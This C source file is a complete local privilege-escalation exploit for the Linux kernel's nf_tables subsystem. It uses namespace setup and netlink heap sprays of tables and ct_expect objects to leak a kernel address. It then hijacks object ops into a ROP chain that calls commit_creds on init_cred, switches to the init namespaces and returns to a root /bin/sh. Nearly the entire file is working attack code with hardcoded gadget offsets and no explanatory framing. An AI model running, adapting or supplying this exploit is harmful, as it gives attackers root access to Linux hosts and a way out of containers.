#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <netlink/msg.h>
#include <netlink/attr.h>
#include <netlink/netlink.h>
#include <netlink/netfilter/nfnl.h>

#include "obj.h"
#include "setelem.h"
#include "table.h"
#include "set.h"
#include "rule.h"
#include "chain.h"
#include "spec.h"
#define THREAD_MAX_NUM 100
#define SET_TABLE "set-table"
#define OBJ_FOR_REF "obj-for-ref"
#define OBJ_TABLE "obj-table"

char *leak_obj=NULL;
char *target_table=NULL;
char *leak_data=NULL;
int ct_expect_obj_num = 0;
int table_num = 0;

unsigned long user_cs,user_ss,user_rsp,user_rflags;
uint64_t kernel_off, module_base, type_addr, prepare_kernel_cred, commit_creds;
uint64_t set_num = 0;
static void save_state() {
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
	"pushfq\n"
        "popq %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory");
}


void shell(){
    printf("ret2usr success! uid : %d\n",getuid());
	
    char *args[] = {"/bin/sh", "-i", NULL};
    //char *args[] = {"/bin/sh", "-c", "nsenter --target 1 -m -p;/bin/bash",NULL};
    execve(args[0], args, NULL);
}

int nl_callback_find_target_table(struct nl_msg* recv_msg, void* arg)
{

    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
    struct nlattr * tb_msg[NFTA_TABLE_MAX+1];
    memset(tb_msg,0,NFTA_TABLE_MAX * 8);

    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
        //fprintf(stderr, "Received NLMSG_ERROR message!\n");
        return NL_STOP;
    }

    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
    nla_parse(tb_msg, NFTA_TABLE_MAX, attr, attrlen, NULL);
    char * table_name=NULL;
    if (tb_msg[NFTA_TABLE_NAME]) {
        table_name = nla_get_string(tb_msg[NFTA_TABLE_NAME]);
	//printf("Get table: '%s'\n", table_name );
    }
    if (tb_msg[NFTA_TABLE_USERDATA]){
        uint64_t * val = malloc(nla_len(tb_msg[NFTA_TABLE_USERDATA]));
        nla_memcpy(val, tb_msg[NFTA_TABLE_USERDATA], nla_len(tb_msg[NFTA_TABLE_USERDATA]));
        //printf("data[0] = %lx\n", val[0]);
	if((val[0]&0xfffffffffffff000)!= 0x4c00000000000000 && val[0] != 0){
		printf("Get table: '%s'\n", table_name );
		printf("data[0] = %lx\n", val[0]);
                leak_obj = (char *)val;
                target_table = malloc(strlen(table_name)+1);
                strcpy(target_table,table_name);
        	leak_data = (char *)val;
	}
    }
    return NL_OK;
}


int nl_callback_for_obj(struct nl_msg* recv_msg, void* arg)
{

    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
    struct nlattr * tb_msg[NFTA_OBJ_MAX+1];
    memset(tb_msg,0,NFTA_OBJ_MAX * 8);

    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
        //fprintf(stderr, "Received NLMSG_ERROR message!\n");
        return NL_STOP;
    }

    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
    nla_parse(tb_msg, NFTA_OBJ_MAX, attr, attrlen, NULL);
    char * obj_name=NULL;
    if (tb_msg[NFTA_OBJ_NAME]) {
        obj_name = nla_get_string(tb_msg[NFTA_OBJ_NAME]);
        printf("Get obj: '%s'\n", obj_name );
    }
    if (tb_msg[NFTA_OBJ_USERDATA]){
        uint64_t * val = malloc(nla_len(tb_msg[NFTA_OBJ_USERDATA]));
        nla_memcpy(val, tb_msg[NFTA_OBJ_USERDATA], nla_len(tb_msg[NFTA_OBJ_USERDATA]));
        printf("data[0] = %lx\n", val[0]);
	leak_data = (char *)val;
    }
    return NL_OK;
}


int setup_sandbox(void) {
  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    return -1;
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    return -1;
  }
  return 0;
}

void spray_tables(struct nl_sock * socket, int len, char *udata, int size){
   char *tmp = malloc(0x100);
   memset(tmp,0,0x100);
   int i;
   for(i=0;i<len;i++){
   	snprintf(tmp, 0x100, "table_for_leak_%ld", table_num);
	new_table_with_udata(socket, tmp, udata, size);
	++table_num;
   }
   free(tmp);
}

void spray_objects(struct nl_sock * socket, int len){
   char *tmp = malloc(0x100);
   memset(tmp,0,0x100);
   int i;
   for(i=0;i<len;i++){
       snprintf(tmp, 0x100, "ct_expect_for_leak_%ld", ct_expect_obj_num);
       new_obj_ct_expect(socket, OBJ_TABLE, tmp, NULL, 0);
       ++ct_expect_obj_num;
   }
}

void spray_objects_with_udata(struct nl_sock * socket, int len, char *udata, int size){
   char *tmp = malloc(0x100);
   memset(tmp,0,0x100);
   int i;
   for(i=0;i<len;i++){
       snprintf(tmp, 0x100, "ct_expect_for_leak_%ld", ct_expect_obj_num);
       new_obj_ct_expect(socket, OBJ_TABLE, tmp, udata, size);
       ++ct_expect_obj_num;
   }
}

void get_tables(struct nl_sock * socket, int start, int end){
   char *tmp = malloc(0x100);
   memset(tmp,0,0x100);
   int i;
   for(i=start;i<end;i++){
   	snprintf(tmp, 0x100, "table_for_leak_%ld", i);
	get_table(socket,tmp);
	nl_recvmsgs_default(socket);
	nl_recvmsgs_default(socket);
   }
}

int leak_info(struct nl_sock * socket){
    
    puts("Start to leak");
    char *a = malloc(0x1000);
    memset(a,0,0x1000);
    *(uint32_t *)(&a[0]) = 0xc00;
    *(uint8_t *)(&a[7]) = 0x4c;
    memset(&a[12],0xff,0x40);
    *(uint32_t *)(&a[0x4c]) = 0xc038a;
    
    char *set_name = malloc(0x100);
    memset(set_name,0,0x100);
    snprintf(set_name,0x100,"set_for_leak_%ld",set_num);
    set_num++;
    new_set(socket,SET_TABLE, set_name, NFT_OBJECT_CT_EXPECT);
    new_setelem(socket,SET_TABLE,set_name,a,0x88+3);
    elem_flush(socket,SET_TABLE,set_name);
    puts("Start spray tables");
    spray_tables(socket,0x400, a, 0xd8);
    puts("Finish spray tables");
    elem_flush(socket,SET_TABLE,set_name);
    puts("Start spray objects");
    spray_objects(socket, 0x400);
    puts("Finish spray objects");
    
    nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_table, NULL);

    get_tables(socket, 0, table_num);
    char *vul_name = NULL;
    if(leak_data){
        printf("target table: %s\n",target_table);
        uint64_t handle = *(uint64_t *)(&leak_data[0x38]);
        printf("handle: %ld\n", handle);
        vul_name = malloc(0x80);
        memset(vul_name,0,0x80);
        snprintf(vul_name, 0x80,"ct_expect_for_leak_%ld",handle-1);
    }else{
        printf("Leak fail! Do not get the leak obj.\n");
	return -1;
    }
    printf("vul name : %s\n",vul_name);
    uint64_t addr = *(uint64_t *)(&leak_obj[0x80]);//ops
    printf("addr : %lx\n",addr);
    
    uint64_t kfree_addr = addr - 0x1839730;
    printf("kfree addr : %lx\n",kfree_addr);
    kernel_off = kfree_addr - 0xffffffff812bf2b0;
    printf("kernel off : %lx\n",kernel_off);
    commit_creds = kernel_off + 0xffffffff811136f0;
    puts("Leak end.");
    //while(1);
    return 0;
      
}


int jump_to_rop(struct nl_sock * socket){
    puts("Start jump to rop");
    int old_table_num = table_num;
    char *a = malloc(0x1000);
    memset(a,0,0x1000);
    *(uint32_t *)(&a[0]) = 0xc00;
    *(uint8_t *)(&a[7]) = 0x4c;
    memset(&a[12],0xff,0x40);
    *(uint32_t *)(&a[0x4c]) = 0xc038a;
    int i;
    char *tmp = malloc(0x100);
    char *set_name = malloc(0x100);
    memset(set_name,0,0x100);
    snprintf(set_name,0x100,"set_for_leak_%ld",set_num);
    set_num++;
    char *ops = malloc(0x1000);
    memset(ops,0,0x1000);
    *(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff818ca79b;//push rsi ; jmp qword ptr [rsi + 0x39]
    *(uint64_t *)&ops[0x30] = kernel_off + MODULE_CT_EXPECT_OBJ_TYPE_ADDR;
    *(uint64_t *)&ops[0x60] = kernel_off + 0xffffffff8102764d;//pop rdi; ret
    *(uint64_t *)&ops[0x68] = kernel_off + INIT_CRED;//init_cred
    *(uint64_t *)&ops[0x70] = commit_creds;
    *(uint64_t *)&ops[0x78] = kernel_off + 0xffffffff8102764d;//pop rdi; ret
    *(uint64_t *)&ops[0x80] = 1;
    *(uint64_t *)&ops[0x88] = kernel_off + 0xffffffff8110a0d0;//find_task_by_vpid
    *(uint64_t *)&ops[0x90] = kernel_off + 0xffffffff8102764d;//pop rdi; ret
    *(uint64_t *)&ops[0x98] = 0;
    *(uint64_t *)&ops[0xa0] = kernel_off + 0xffffffff817af245;//or rdi, rax ; test rdi, rdi ; setne al ; ret
    *(uint64_t *)&ops[0xa8] = kernel_off + 0xffffffff810fb7dd;//pop rsi ; ret
    *(uint64_t *)&ops[0xb0] = kernel_off + 0xFFFFFFFF83661680;//init_nsproxy
    *(uint64_t *)&ops[0xb8] = kernel_off + 0xffffffff81111c80; //switch_task_namespaces
    *(uint64_t *)&ops[0xc0] = kernel_off + 0xFFFFFFFF820486C6;//swapgs; ret
    *(uint64_t *)&ops[0xc8] = kernel_off + 0xFFFFFFFF82201157;//iretq
    *(uint64_t *)&ops[0xd0] = (uint64_t)shell;
    *(uint64_t *)&ops[0xd8] = user_cs;
    *(uint64_t *)&ops[0xe0] = user_rflags;
    *(uint64_t *)&ops[0xe8] = user_rsp|8;
    *(uint64_t *)&ops[0xf0] = user_ss;
    new_set(socket,SET_TABLE, set_name, NFT_OBJECT_CT_EXPECT);
    new_setelem(socket,SET_TABLE,set_name,a,0x88+3);
    elem_flush(socket,SET_TABLE,set_name);
    
    puts("Start spray tables");
    spray_tables(socket,0x400, a, 0xd8);
    puts("Finish spray tables");
    elem_flush(socket,SET_TABLE,set_name);
    puts("Start spray objects");
    spray_objects_with_udata(socket, 0x400, ops, 0x100);
    puts("Finish spray objects");

    nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_table, NULL);
    leak_data = NULL;
    get_tables(socket, old_table_num, table_num);
    char *vul_name = NULL;
    if(leak_data){
        printf("target table: %s\n",target_table);
        uint64_t handle = *(uint64_t *)(&leak_data[0x38]);
        printf("handle: %ld\n", handle);
        vul_name = malloc(0x80);
        memset(vul_name,0,0x80);
        snprintf(vul_name, 0x80,"ct_expect_for_leak_%ld",handle-1);
        //uint64_t vul_name_ = *(uint64_t *)(&leak_obj[0x20]);
        //printf("name: %lx\n", vul_name_);
    }else{
        printf("Leak fail! Do not get the leak obj.\n");
        return -1;
    } 
    uint64_t rop_target_addr = *(uint64_t *)(&leak_obj[0x48]);
    printf("rop : %lx\n", rop_target_addr);
    *(uint64_t *)(&leak_obj[0x39]) = kernel_off + 0xffffffff81404820;//pop rsp ; ret
    *(uint64_t *)(&leak_obj[0]) = kernel_off + 0xffffffff81404820;//pop rsp ; ret
    *(uint64_t *)(&leak_obj[8]) = rop_target_addr + 0x60;
    *(uint64_t *)(&leak_obj[0x80]) = rop_target_addr;
    
    del_table(socket, target_table);
    spray_tables(socket, 0x400, leak_obj, 0xd8);
    puts("Ready");
    //getchar();
    get_obj(socket, OBJ_TABLE, vul_name, NFT_OBJECT_CT_EXPECT);
    puts("Finish jmp to rop");
    while(1);
    return 0;
}

int main(void) {
    if (setup_sandbox() < 0){
        printf("Create sandbox fail!\n");
        return 0;
    }
    save_state();
    printf("user_cs : %lx\n",user_cs);
    printf("user_ss : %lx\n",user_ss);
    printf("user_rsp : %lx\n",user_rsp);
    printf("user_rflags : %lx\n",user_rflags);
    struct nl_sock * socket = nl_socket_alloc();
    
    if(nfnl_connect(socket)<0){
    	printf("nfnl_connect fail!\n");
	return 0;
    }
    
    //leak first
    new_table(socket,SET_TABLE);
    new_table(socket,OBJ_TABLE);
    //add a obj for ref
    
    new_obj_ct_expect(socket,SET_TABLE,OBJ_FOR_REF,NULL,0);
   	
    if(leak_info(socket)<0){
    	printf("leak fail\n");
    	return 0;
    }
    
    jump_to_rop(socket);
    
    return 0;
}
